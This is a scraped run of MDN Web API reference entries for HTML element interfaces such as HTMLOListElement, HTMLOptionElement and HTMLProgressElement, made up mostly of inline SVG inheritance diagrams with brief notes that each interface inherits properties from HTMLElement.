...3" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width=...
..."2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" ...
...y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmodelement" target="_top"><rect x="351" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="421" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmodelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLOListElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="m...
...iddle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12...
...px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><l...
...ine x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlolistelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlolistelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLOptGroupElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="m...
...iddle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x=...
..."303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" ...
...y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmloptgroupelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmloptgroupelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLOptionElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke...
...="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="m...
...iddle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/...
...htmloptionelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmloptionelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLPictureElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" s...
...troke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anch...
...or="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web...
.../api/htmlpictureelement" target="_top"><rect x="311" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlpictureelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties no specific property, but inherits properties from its parent, htmlelement.
HTMLPreElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-ba...
...seline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font...
...-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4...
...dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlpreelement" target="_top"><rect x="351" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="421" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlpreelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLProgressElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" align...
...ment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="3...
...0" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stro...
...ke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlprogresselement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlprogresselement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLQuoteElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anc...
...hor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><te...
...xt x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2=...
..."509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlquoteelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlquoteelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLShadowElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line...
... x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="mi...
...ddle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlshadowelement" target="_t...
...op"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlshadowelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface inherits the properties of htmlelement.
HTMLSourceElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text...
...></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consola...
...s,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2=...
..."492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlsourceelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlsourceelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLSpanElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="1...
...11,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,mon...
...ospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d...
...4dde4"/><a xlink:href="/docs/web/api/htmlspanelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlspanelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties, but inherits properties from: htmlelement.
HTMLStyleElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde...
...4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:hr...
